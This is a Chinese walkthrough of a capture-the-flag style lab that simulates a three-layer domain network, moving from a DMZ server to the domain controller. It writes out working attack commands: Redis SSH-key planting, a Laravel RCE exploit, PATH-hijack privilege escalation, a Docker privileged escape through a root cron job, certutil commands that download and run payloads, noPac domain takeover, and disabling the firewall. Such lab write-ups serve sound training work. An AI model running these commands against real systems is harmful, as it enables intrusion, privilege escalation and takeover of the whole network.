简介
本靶场由红日安全制作,涉及域和3层内网环境,并存在多个漏洞,可较好锻炼内网渗透能力。靶机环境及配置地址:ATT&CK模拟攻击路径
靶机信息
1.靶机存在3层网络环境
- 192.168.x.x(DMZ区,桥接模式DHCP自动获取)
- 192.168.52.1/24
- 192.168.93.1/24
2.可利用漏洞
- 漏洞搜索与利用
- Laravel Debug mode RCE(CVE-2021-3129)漏洞利用
- Docker逃逸
- 通达OA v11.3 漏洞利用
- Linux环境变量提权
- Redis 未授权访问漏洞
- Linux sudo权限提升(CVE-2021-3156)漏洞利用
- SSH密钥利用
- Windows NetLogon 域内权限提升(CVE-2020-1472)漏洞利用
- MS14-068漏洞利用(未利用成功)

过程
1.DMZ web服务器
NMAP全端口扫描发现开放22、80、81、6379端口
nmap 192.168.0.106 -T4 -p-

其中81端口为Laravel的站点,后面不知道什么原因导致站点访问不了,不浪费时间排查原因,转向6379端口,发现redis未授权访问。
redis写入公钥
1 | ssh-keygen -t rsa |
使用私钥连接web服务器
ssh -i {私钥} 192.168.0.106

反弹shell上线到msf,添加路由和socks代理

使用fscan发现192.168.52.30为通达OA系统且存在永恒之蓝,192.168.52.20又有一个Laravel的站点。(使用代理+fscan扫不出来东西,将fscan上传至web服务器扫描)
scp -i /home/kali/test/test fscan_amd64 root@192.168.0.106:/root
./fscan_amd64 -h 192.168.52.0/24

同时发现代理服务器配置,原来这台服务器只是作为反向代理服务器使用,而真正的web服务是开启在192.168.52.20那台机器。

2.Laravel站点
发现192.168.52.0段有两台机器,一台为通达OA,一台为真正的Laravel站点,我们先拿下Laravel的站点。
Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。
使用POC拿下shell,使用代理直接打经常导致连接中断,遂将POC传到DMZ的web服务器打(使用哥斯拉2.x版本,3.x版本无法连接)
http://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

成功连接

发现权限较低,且多数命令不存在,检查发现为docker环境
cat /proc/1/cgroup
ls -lh / .dockerenv

准备看看能不能docker逃逸,但逃逸之前得先把权限提到root
使用提权脚本检查一下,http://github.com/mzet-/linux-exploit-suggester/blob/master/linux-exploit-suggester.sh,连续尝试了好几个都失败。
./linux-exploit-suggester.sh

使用suid提权,搜索设置了suid位的文件,发现jobs目录下有个shell文件
find / -perm -u=s -type f 2>/dev/null

发现这个shell文件实则是运行了ps命令,可通过修改环境变量,让其执行我们恶意的ps文件来拿到root权限
1 | cd /tmp |
回到jobs目录,执行shell文件,获得root权限
./shell

python伪终端
python -c 'import pty;pty.spawn("/bin/bash")'
随后使用CDK进行docker逃逸,试了几个逃逸漏洞都没圆满逃逸成功,工具地址:CDK
随后使用docker特权模式逃逸成功
先在容器内新建一个test目录,然后将宿主机的磁盘挂载到容器的test目录
mkdir /test
`mount /dev/sda1 /test
使用msf生成linux的正向shell的可执行程序,通过docker上传到宿主机,并通过写入计划任务让宿主机执行我们的恶意程序。
这里遇到一个坑,写入计划后就是不执行,将其权限设置为600才执行成功
echo '* * * * * cd /home/ubuntu && ./bind_4455.elf' >> /test/var/spool/cron/crontabs/root
chmod 600 root

成功拿下Laravel站点

3.通达OA
192.168.52.0/24还有一个通达OA系统,192.168.52.30
浏览器添加socks代理,查看OA版本,此版本存在多个漏洞
http://192.168.52.30:8080/inc/expired.php

直接使用exp获得shell

使用msf生成正向shell可执行程序,上传到dmz的web服务器,并开启简单的http服务
python3 -m http.server 8082
certutil -urlcache -split -f http://192.168.52.10:8082/bind_53.exe && bind_53.exe

成功拿下OA服务器

发现存在192.168.93.0/24段,添加路由并抓取密码

4.win7
扫描发现192.168.93.0/24存在2台机器,且192.168.93.30为域控,192.168.93.40存在永恒之蓝。
net time /domain


使用ms17-010拿下win7

抓取密码

5.域控
前期发现192.168.93.30为域控制器,且存在ms17-010,但无法成功,猜测由于使用的是msf正向shell,域控防火墙处于开启状态导致获取shell失败。
遂使用ms14-068漏洞也利用失败
前期已获取到域账户密码,使用CVE-2021-42287 & CVE-2021-42278成功获取域控权限
扫描是否存在漏洞
proxychains3 python3 scanner.py whoamianony.org/bunny:Bunny2021 -dc-ip 192.168.93.30 -use-ldap

存在漏洞,直接获取权限
proxychains3 python3 noPac.py whoamianony.org/bunny:Bunny2021 -dc-ip 192.168.93.30 -dc-host dc -shell --impersonate administrator -use-ldap

使用msf生成正向shell可执行程序,将其上传到内网web服务器,并关闭域控防护墙
netsh advfirewall set allprofiles state off
从web服务器下载恶意程序并运行
certutil -urlcache -split -f http://192.168.93.20:8080/dc_7777.exe && dc_7777.exe
成功拿下域控
